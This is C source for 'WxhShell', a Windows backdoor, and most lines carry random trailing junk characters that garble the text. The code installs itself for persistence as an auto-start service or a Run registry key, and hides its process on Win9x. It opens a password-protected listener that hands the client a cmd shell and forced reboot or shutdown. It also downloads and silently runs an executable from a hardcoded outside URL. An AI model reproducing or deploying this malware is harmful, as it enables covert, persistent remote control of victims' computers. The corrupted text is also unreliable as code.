    } VP?Q$?a  
  // 关机 a^X% (@Sg  
  case 'd': { Nv=%R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y 1Wb/ d  
    if(Boot(SHUTDOWN)) \q^ dhY>)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4(Y-TFaf  
    else { Ra^c5hP:.E  
    closesocket(wsh); ycEp,V;[Z  
    ExitThread(0); :9q|<[Y^  
    } AT2D+Hi=E  
    break; xa !/.  
    } B[f:T%  
  // 获取shell 9\E];~"iP  
  case 's': { *$JS}Pax  
    CmdShell(wsh); :; La V  
    closesocket(wsh); !>+m46A  
    ExitThread(0); p^p1{%=  
    break; hu}uc&N)iE  
  } &t'P>6)  
  // 退出 @00&J~D  
  case 'x': { )U0I|dx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5l(@p7_+  
    CloseIt(wsh); 7E?60^Tve  
    break; goD#2lg  
    } o?3C-A|  
  // 离开 cA]PZ*]{BN  
  case 'q': { 5twG2p8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QYAt)Ik9q  
    closesocket(wsh);  3L4v@  
    WSACleanup(); U9%^gC  
    exit(1); >=1UhHFNI  
    break; Q(Pc  
        } k>E/)9%ep2  
  } P8ns @VV  
  } `V*$pHo  
Np.<&`p!  
  // 提示信息 &s\/Uq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q^QLNKOH"  
} (8~Hr?1B  
  }  xG'F  
y>r^ MQ  
  return; + eZn  
} I=YZ!*f/`  
sd*NY  
// shell模块句柄 PA,\o8]x  
int CmdShell(SOCKET sock) x51xY$M  
{ H4M`^r@)'  
STARTUPINFO si; \#"&S@%c  
ZeroMemory(&si,sizeof(si)); q _:7uQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /q"8sj/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Fb!;W#X  
PROCESS_INFORMATION ProcessInfo; E-?JHJloU  
char cmdline[]="cmd"; >bO}sx1?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K2tOt7M!  
  return 0; lXnv(3j3*s  
} V r T0S  
Eqx|k-<a  
// 自身启动模式 j<w5xY  
int StartFromService(void) 9; aOUs:<  
{ VlxHZ  
typedef struct edlsS}8^  
{ UGA` `;f  
  DWORD ExitStatus; i/,IG+4vI  
  DWORD PebBaseAddress; 2rS`ViicD  
  DWORD AffinityMask; CraD  
  DWORD BasePriority; <2^ F'bQV  
  ULONG UniqueProcessId; x!?$y_t  
  ULONG InheritedFromUniqueProcessId; 0j' Xi_uM  
}   PROCESS_BASIC_INFORMATION; Y1{*AV6ev6  
eTY(~J#'  
PROCNTQSIP NtQueryInformationProcess; ] ; B`'Ia  
{iTA=\q2O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5F1P|t#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zZPXI&,  
AUr~b3< 6  
  HANDLE             hProcess; ^F|/\i   
  PROCESS_BASIC_INFORMATION pbi; ]"\sd"  
Cs^'g'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v%E!  
  if(NULL == hInst ) return 0; 4Jw_gOY&D  
@ | (Tg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MQo/R,F }  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]%h|ox0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LJ*W&y(2>Q  
4ZT0~37(  
  if (!NtQueryInformationProcess) return 0; *k;%H'2g{}  
QU)AgF[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7x(z  
  if(!hProcess) return 0; -Vjrh/@  
Tpp?(lT7r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XhJYsq]]J  
.:SY:v r  
  CloseHandle(hProcess); ?]58{O(?c  
/)XN^Jwa;m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2nB{oF-Z  
if(hProcess==NULL) return 0; H+VjY MvK  
%9T|"\  
HMODULE hMod; vu_ u\2d  
char procName[255]; }h9f(ZyJn  
unsigned long cbNeeded; -W1Apd%>  
()(/9t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VCvFCyAz  
~J|B  
  CloseHandle(hProcess); KU87WpjX  
XchVsA  
if(strstr(procName,"services")) return 1; // 以服务启动 wv&%09U  
2U'Vq  
  return 0; // 注册表启动 E~c>LF_]Q  
} JS(%:  
DG 6W ^  
// 主模块 HP[M"u  
int StartWxhshell(LPSTR lpCmdLine) $`|\aXd[C*  
{ >8w=Vlp  
  SOCKET wsl; e]3b0`E  
BOOL val=TRUE; c+G%o8  
  int port=0; sN@=Ri?\  
  struct sockaddr_in door; %xP'*EaM?  
H>|*D~RdT  
  if(wscfg.ws_autoins) Install(); R9^R G-x  
j>|mpfU  
port=atoi(lpCmdLine); I?Q[ZH:M  
@-aMj  
if(port<=0) port=wscfg.ws_port; QfI@=Kbg%#  
3t:/Guyom8  
  WSADATA data; &h;J_Ps  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b("M8}o  
D+CP?} /  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b%UbTb,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2NZC,znQ  
  door.sin_family = AF_INET; crr#tad.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C{FE*@U.  
  door.sin_port = htons(port); -zH` 9>J5|  
Ydh+iLjhx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ECLQqjB  
closesocket(wsl); 78FLy7  
return 1; yMKVF`D*  
} t@3y9U$  
w8(z\G_0  
  if(listen(wsl,2) == INVALID_SOCKET) { E)Cdw%}^  
closesocket(wsl); [D<"qT^*z6  
return 1; ?9:~d#p  
} ]"VxEpqhM  
  Wxhshell(wsl); bt 0Q6v5  
  WSACleanup(); ,];QzENw  
:Wd@Qy?;  
return 0; 5HW'nhE  
g6 6SCr}  
} ;hJz'&UWQ  
P] qL&_  
// 以NT服务方式启动 \CZD.2p#&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NrWgaPO)i  
{ =4:]V\o):'  
DWORD   status = 0; Q <2 `ek  
  DWORD   specificError = 0xfffffff; 1'BC R  
`z?h=&N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ) 0|X];sD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .dTXC'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [IPXU9& Q  
  serviceStatus.dwWin32ExitCode     = 0; 2#`9OLu8X  
  serviceStatus.dwServiceSpecificExitCode = 0; cxn*!TwDs  
  serviceStatus.dwCheckPoint       = 0; !9vq"J~hz"  
  serviceStatus.dwWaitHint       = 0; >4]y)df5  
[^ eQGv[S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T6I$7F  
  if (hServiceStatusHandle==0) return; raB', Vp  
SuFGIb7E  
status = GetLastError(); ,!oR"b!  
  if (status!=NO_ERROR) o$KW*aDp  
{ fW3NH7aUG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L_Lhmtm}m  
    serviceStatus.dwCheckPoint       = 0; @agxu-Y  
    serviceStatus.dwWaitHint       = 0; y5`$Aa4~  
    serviceStatus.dwWin32ExitCode     = status; 9; `E,w  
    serviceStatus.dwServiceSpecificExitCode = specificError; (Kb_/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8m 5T  
    return; -^&NwLEv=  
  } 8 ;"HM5+  
YzeNr*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :L5k#E "u  
  serviceStatus.dwCheckPoint       = 0; i{4J$KT  
  serviceStatus.dwWaitHint       = 0; tDn:B$*}W,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Y(NxC0P=g  
} u E<1PgW  
bSj-xxB]e  
// 处理NT服务事件,比如:启动、停止 JNxrs~}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q ?R3aJ  
{ \,-e>  
switch(fdwControl) v&8s>~i`K  
{ .1A/hAdU  
case SERVICE_CONTROL_STOP: QpiA~4  
  serviceStatus.dwWin32ExitCode = 0; \<W/Z.}/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fu[<zA^  
  serviceStatus.dwCheckPoint   = 0; y4j\y ? T8  
  serviceStatus.dwWaitHint     = 0; qcGsx2  
  { -DL"Yw}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VhLS*YiSY  
  } 7)dCdO  
  return; b;I zK'  
case SERVICE_CONTROL_PAUSE: o3(:R0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JXF0}T)C  
  break; Tga%-xr+  
case SERVICE_CONTROL_CONTINUE: yGvBQ2kYb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x|GkXD3  
  break; BKk+<#Ti  
case SERVICE_CONTROL_INTERROGATE: vX<^x2~9(  
  break; ,U?^u%  
}; fRomP-S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bO+]1nZ.  
} ,C}s8|@k  
6\vaR#  
// 标准应用程序主函数 W=\45BJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T$*#q('1"}  
{ /|>?!;   
6d/1PGB  
// 获取操作系统版本 sMgRpem;  
OsIsNt=GetOsVer(); DLD5>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $nr=4'y Z  
tX~ *.W:  
  // 从命令行安装 *NCkC ~4  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?ZP@H _w6}  
tui5?\  
  // 下载执行文件 Hd57Iw  
if(wscfg.ws_downexe) { L'u*WHj|v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,Rdw]O  
  WinExec(wscfg.ws_filenam,SW_HIDE); !24PJ\~I  
} /Csk"IfuO  
S9%ZeM +  
if(!OsIsNt) { z^u*e  
// 如果时win9x,隐藏进程并且设置为注册表启动 /B)`pF.n  
HideProc(); YT}ZLx  
StartWxhshell(lpCmdLine); ToM1#]4  
} V@r V +s  
else BKKW3PT  
  if(StartFromService()) dF$&fo%  
  // 以服务方式启动 ;e0-FF+  
  StartServiceCtrlDispatcher(DispatchTable); & X#6jTh+  
else r7-H`%.  
  // 普通方式启动 2hsRYh  
  StartWxhshell(lpCmdLine); uSUog+i  
C2H2*"  
return 0; bMB*9<c~  
} <RuLIu  
{'sp8:$a  
%\T#Ik~3  
5O[\gd-  
=========================================== #@L5yy2  
\1<8'at  
~(\ .j=x  
B["jndyr  
>!bw8lVV  
'Lh nl3  
" 6'Q*SO;1gh  
lP *p7Y '  
#include <stdio.h> Og7^7))  
#include <string.h> M}]4tAyT  
#include <windows.h> N"s"^}M\  
#include <winsock2.h> Jw0I$W/  
#include <winsvc.h> Zmm6&OZ%  
#include <urlmon.h> eI98J"h%?  
@*BVS'\  
#pragma comment (lib, "Ws2_32.lib") z||FmL{  
#pragma comment (lib, "urlmon.lib") lC@wCgc  
`*3;sq%`  
#define MAX_USER   100 // 最大客户端连接数 x27$h)R0v  
#define BUF_SOCK   200 // sock buffer s*R UYx  
#define KEY_BUFF   255 // 输入 buffer XbIxGL  
`6<Qb=  
#define REBOOT     0   // 重启 <Vl`EfA(  
#define SHUTDOWN   1   // 关机 >dXB)yl  
T%4yPmY  
#define DEF_PORT   5000 // 监听端口 >4bWXb'S}C  
o:`^1  
#define REG_LEN     16   // 注册表键长度 `=%G&_3_<  
#define SVC_LEN     80   // NT服务名长度 PLq]\y  
|? rO  
// 从dll定义API g%okYH?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pq1j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kx02 2rgDU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /0b7"Kr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N ;Cs? C  
+/ ?oyC+Z  
// wxhshell配置信息 ^O<@I  
struct WSCFG { Y>x3`f]  
  int ws_port;         // 监听端口 a]!u go}  
  char ws_passstr[REG_LEN]; // 口令 .|@2Uf  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1BSn#Dnj  
  char ws_regname[REG_LEN]; // 注册表键名 Q-J} :U  
  char ws_svcname[REG_LEN]; // 服务名 Q5]rc`} 5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6Ev+!!znu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tnas$=J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WO$8j2!~#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F`>qg2wO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x"A\ Z-xxz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 = u&dU'@q  
f9t+x+ Z  
}; ZB]234`0  
NR"C@3kD]o  
// default Wxhshell configuration xVTl  
struct WSCFG wscfg={DEF_PORT, :XOjS[wBm  
    "xuhuanlingzhe", %4})_h?j  
    1, KQ0f2?  
    "Wxhshell", >:h&5@^ j$  
    "Wxhshell", lQxEiDIL  
            "WxhShell Service", ra8AUj~RX  
    "Wrsky Windows CmdShell Service", $3xDjiBb  
    "Please Input Your Password: ", *0m|`- T  
  1, 3;88a!AA!  
  "http://www.wrsky.com/wxhshell.exe", P MI?PC[;  
  "Wxhshell.exe" O"1HO[  
    }; S[{,+{b0  
'sTc=*p/  
// 消息定义模块 5=  V29  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *VaQ\]:d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2fXwJG'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r@PVSH/  
char *msg_ws_ext="\n\rExit."; TN<"X :x9  
char *msg_ws_end="\n\rQuit."; }{mS"  
char *msg_ws_boot="\n\rReboot..."; 8 mt#S  
char *msg_ws_poff="\n\rShutdown..."; !wC( ]Y  
char *msg_ws_down="\n\rSave to "; nI] zRduC  
S5r.so  
char *msg_ws_err="\n\rErr!"; [E/. r{S  
char *msg_ws_ok="\n\rOK!"; eN`G2eE  
aSI%!Vg.  
char ExeFile[MAX_PATH]; i=&]%T6Qk  
int nUser = 0; )1 QOA  
HANDLE handles[MAX_USER]; 9A87vs4[  
int OsIsNt; aGAr24]y  
r.c:QY$  
SERVICE_STATUS       serviceStatus; /N,\st  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [fY7|  
k1SD{BL  
// 函数声明 0}po74x*r  
int Install(void); v^ v \6uEP  
int Uninstall(void); At !@Rc  
int DownloadFile(char *sURL, SOCKET wsh); ) )t]5Ys%;  
int Boot(int flag); S;oRE' kk  
void HideProc(void); ^1<i7u  
int GetOsVer(void); &Lbwx&!0b  
int Wxhshell(SOCKET wsl); ?Ss~!38  
void TalkWithClient(void *cs); S+*>""=  
int CmdShell(SOCKET sock); ,$U~<Zd  
int StartFromService(void); !pHI`FeAV  
int StartWxhshell(LPSTR lpCmdLine); 1$^r@rP  
/FjdcH=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G-,0mo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TD78&a#  
jvpv1>KYV  
// 数据结构和表定义 F+L%Ho;@P  
SERVICE_TABLE_ENTRY DispatchTable[] = `fl$ o6S/  
{ 3Bcv"O,B!{  
{wscfg.ws_svcname, NTServiceMain}, X$?0C{@.}  
{NULL, NULL} 4YoQ*NQw-  
}; AUES;2WL  
oE2VJKs<B  
// 自我安装 8L]Cc!~  
int Install(void) :B\ $7+$v  
{ (Ffa{Tt!  
  char svExeFile[MAX_PATH]; 4~8-^^  
  HKEY key; TX7dwmt) N  
  strcpy(svExeFile,ExeFile); sHPj_d#  
=(~ZmB\  
// 如果是win9x系统,修改注册表设为自启动 /82E[P"}6R  
if(!OsIsNt) { ~Q5]?ZNX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b5ul|p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J*m7 d4^  
  RegCloseKey(key); igEqty!.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0uIBaW3s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &|' NDcp  
  RegCloseKey(key); wWSE[S$V  
  return 0; G[u{! 2RS  
    } y\[q2M<  
  } ?b93! Q1  
} nB]mj _)R^  
else { 87m`K Str7  
Wtp=1  
// 如果是NT以上系统,安装为系统服务 #%L_wJB-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -B(p8YH  
if (schSCManager!=0) 1QnaZhu'  
{ ):A.A,skf  
  SC_HANDLE schService = CreateService O[z6W.  
  ( }:QoYNq  
  schSCManager, >/NegJh'F}  
  wscfg.ws_svcname, .~TI%&#  
  wscfg.ws_svcdisp, NG23  
  SERVICE_ALL_ACCESS, 3+q-yP#X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A,(9|#%L  
  SERVICE_AUTO_START, r;E5e]w*-  
  SERVICE_ERROR_NORMAL, 3,#v0#  
  svExeFile, Ndyo)11z  
  NULL, E`{DX9^  
  NULL, ]z| 2  
  NULL, MXjN ./  
  NULL, K@/dQV%Z  
  NULL p["pGsf  
  ); fI'+4 )@x  
  if (schService!=0) 3#GIZ L}!x  
  { e2 g`T{6M  
  CloseServiceHandle(schService); hS>=p O+y  
  CloseServiceHandle(schSCManager); Qstd;qE~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ln":j?`  
  strcat(svExeFile,wscfg.ws_svcname); @ScC32X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 73_-7'^mQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;e9&WEG_\  
  RegCloseKey(key); +_QcLuV,  
  return 0; zQUNvPYM  
    } P"Z1K5>2L  
  } g@pK9R%wH<  
  CloseServiceHandle(schSCManager); J HV  
} f hNJB0  
} !89hO4 0r  
gvL*]U7  
return 1; -KfMK N~  
} Og8%SnEpMI  
:bL^S1et  
// 自我卸载 x}=Q)|)]  
int Uninstall(void) oq b(w+<  
{ |KO[[4b ?+  
  HKEY key; oa[O~z{~  
"?FBbJ  
if(!OsIsNt) { VuN#j<H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !f}D*8\f  
  RegDeleteValue(key,wscfg.ws_regname); KTAQ6k  
  RegCloseKey(key); &7\fj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fu-,<m{  
  RegDeleteValue(key,wscfg.ws_regname); K4I/a#S'@6  
  RegCloseKey(key); 2L51 H(  
  return 0; I1s$\NZ~]  
  } yS3or(K  
} #\O'*mz  
} h##U=`x3  
else { n</Rd=  
=}Q|#C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D 5:'2i  
if (schSCManager!=0) sM%l:Fv  
{ 8-cuaa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qv |}>wU  
  if (schService!=0) :"b:uQ  
  { Vn\jUEC  
  if(DeleteService(schService)!=0) { j0w@ \gO<  
  CloseServiceHandle(schService); n-,mC /4  
  CloseServiceHandle(schSCManager); &qIdT;^=I  
  return 0; fKtlfQG  
  } VN$7r  
  CloseServiceHandle(schService); YkFERIa076  
  } ,p!IFS`  
  CloseServiceHandle(schSCManager); &l4kwds R  
} Uv~|Xj4.  
} mHJGpJ=a-  
BWB}bq  
return 1; %c%`< y<~L  
} ZCMH?>  
8 @RJ>  
// 从指定url下载文件 r`RLDN!`  
int DownloadFile(char *sURL, SOCKET wsh) .RyuWh!5  
{ 1=`VaS  
  HRESULT hr; +oHbAPs8  
char seps[]= "/"; ou`KkY||  
char *token; =)*Z rD  
char *file; zz(EH<>  
char myURL[MAX_PATH]; nwqA\  
char myFILE[MAX_PATH]; 4]-7S l,  
yJ6g{#X4K<  
strcpy(myURL,sURL); q|r*4={^!*  
  token=strtok(myURL,seps); e@/' o/  
  while(token!=NULL) "" _B3'  
  { [/l&:)5W>  
    file=token; iOL/u)   
  token=strtok(NULL,seps); ,) aUp4*  
  } 2vb qz  
MD3iWgM  
GetCurrentDirectory(MAX_PATH,myFILE); <Of-,PcCV  
strcat(myFILE, "\\"); v!$?;"d+  
strcat(myFILE, file); wM3m'# xJ  
  send(wsh,myFILE,strlen(myFILE),0); -lAY*2Jg  
send(wsh,"...",3,0); hTcU %Nc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .[3C  
  if(hr==S_OK) Ttp%U8-LJR  
return 0; 5w+&plIJ  
else c~OvoTF,  
return 1; @D `j   
PSX o"   
} nV`W0r(f'  
y9=<q%Kc-  
// 系统电源模块 @ `mke4>_  
int Boot(int flag) e ~cg  (.  
{ |x>5T}  
  HANDLE hToken; b):aqRwP  
  TOKEN_PRIVILEGES tkp; qZv@ULluc  
zE?dQD^OD  
  if(OsIsNt) { 2v#gCou  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q:iu hI$~G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2"%f:?xV{  
    tkp.PrivilegeCount = 1; )|AxQPd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SZ7; } r8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K@ &;f( Y  
if(flag==REBOOT) { M-q5Jfm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rw0s$~'  
  return 0; %L wq.  
} %Y5F@=>&  
else { f&RjvVP?s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2iOYC0`!  
  return 0; ]D=fvvST  
} )%f]P<kq6  
  } "V`DhOG&  
  else { XD_!5+\H1  
if(flag==REBOOT) { T=@Ygjk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /W LZyT2  
  return 0; i&DUlmt)f  
} J+N -+,,  
else { N|ZGc{?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'T3xZ?*q=  
  return 0; eV }H  
} 6\-u:dvGI?  
} w*o2lg9  
!- 5z 1b)  
return 1; 4mpcI  
} WW!-,d{{@  
DZEq(>mn  
// win9x进程隐藏模块 XV`8Vb  
void HideProc(void) ;d]vAj  
{ yF|+oTp  
sBqOcy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VwK7\j V  
  if ( hKernel != NULL ) Ai5+ ;8z+  
  { 9>`dB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h'_$I4e)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aVr=7PeF  
    FreeLibrary(hKernel); BqA_C W  
  } \~zm_-Hw@Y  
{k[dg0UV  
return; ^uVPN1}b^@  
} b.kV>K"X3  
E&U_@ bc-  
// 获取操作系统版本 P_75-0G  
int GetOsVer(void) i*A_Po  
{ bqx2lQf,_  
  OSVERSIONINFO winfo; HEhBOER?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )p:+!sX(  
  GetVersionEx(&winfo); _Vt(Eg_\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I9`ZK2S  
  return 1; \g)?7>M|  
  else :m/qR74+"  
  return 0; sb?!U"v.'  
} ,Z! I^  
A:pD:}fm}D  
// 客户端句柄模块 ?.beN[X  
int Wxhshell(SOCKET wsl) h|lH`m^  
{ yT='V1  
  SOCKET wsh; >Ad`_g6Wew  
  struct sockaddr_in client; Cn5;h(r  
  DWORD myID; r)Ml-r =  
_u6MSRX[6$  
  while(nUser<MAX_USER) `gJ$fTi&  
{ T, PN6d  
  int nSize=sizeof(client); e#F3KLSL`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %[azMlp<  
  if(wsh==INVALID_SOCKET) return 1; *!3qO^b?  
pZt>rv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,pQ[e$u1  
if(handles[nUser]==0) 7m?fv Ky  
  closesocket(wsh); jtE'T}!d  
else 8qxZ7|Y@  
  nUser++; |Z+qaq{X  
  } r>CBp$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Py/~Q-8p  
8=?U7aw  
  return 0; t3K9 |8<  
} ltNY8xrdGN  
nY\X!K65  
// 关闭 socket yF+mJ >kj  
void CloseIt(SOCKET wsh) ZW@cw}  
{ kV!1k<f  
closesocket(wsh); 0I2?fz)  
nUser--; s%6L94\t  
ExitThread(0); 6k<3,`VV|  
} x;LO{S4Z  
b5f+q:?{  
// 客户端请求句柄 -mLu!32I<  
void TalkWithClient(void *cs) roe_H>  
{ s ;]"LD@  
j X*gw6!  
  SOCKET wsh=(SOCKET)cs; + [$Td%6  
  char pwd[SVC_LEN]; 7| j rk  
  char cmd[KEY_BUFF]; w"O;: `|n  
char chr[1]; |tTcJ\bG  
int i,j; &4l!2  
L%-ENk  
  while (nUser < MAX_USER) { 3Ljj|5.q  
^BW8zu@=O  
if(wscfg.ws_passstr) { wgq=9\+&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ejbtdU8N<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !X-ThKEq  
  //ZeroMemory(pwd,KEY_BUFF); ")nKFs5  
      i=0; %/hokyx  
  while(i<SVC_LEN) { R$+"'N6p  
'GO *6$/  
  // 设置超时 ,Z7Ky*<j  
  fd_set FdRead; Fx)><+-  
  struct timeval TimeOut; N.SV*G @  
  FD_ZERO(&FdRead); #c'}_s2F[  
  FD_SET(wsh,&FdRead); aQzmobleep  
  TimeOut.tv_sec=8; {BJH}vV1)  
  TimeOut.tv_usec=0; `1y@c"t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |It{L0=U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !d[]Qt%mA  
rhGB l`(B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HW"5MZ8E  
  pwd=chr[0]; s:z  
  if(chr[0]==0xd || chr[0]==0xa) { _)4zm  
  pwd=0; C]ax}P>BQ  
  break; M*~XpT3  
  } #]^M/y h  
  i++; f3:dn7  
    } RK)ikLgp  
|I|,6*)xg  
  // 如果是非法用户,关闭 socket KxfH6:\RB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ft iAty0n  
} ]I;owk,  
o_ [I#PT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gI@nE:(m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &b2@+/ F  
.v9i|E=<~  
while(1) { TY` R_  
?,[$8V  
  ZeroMemory(cmd,KEY_BUFF); g  b[.Ww  
2(Yt`3Go(  
      // 自动支持客户端 telnet标准   !MmbwB'  
  j=0; A-$ C6q   
  while(j<KEY_BUFF) { %z"$?Iv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kb~ 9/)~g  
  cmd[j]=chr[0]; F`+S(APT8  
  if(chr[0]==0xa || chr[0]==0xd) { [DTe  
  cmd[j]=0; F#qc#s  
  break; V gy12dE  
  } *0r!eD   
  j++; HPo><u  
    } /^WawH6)6  
c]ga) A(  
  // 下载文件 ww'B!Ml>F  
  if(strstr(cmd,"http://")) { ^nQJo"g\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [g+WL\1  
  if(DownloadFile(cmd,wsh)) =OKUSHu@V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L%pAEoSG  
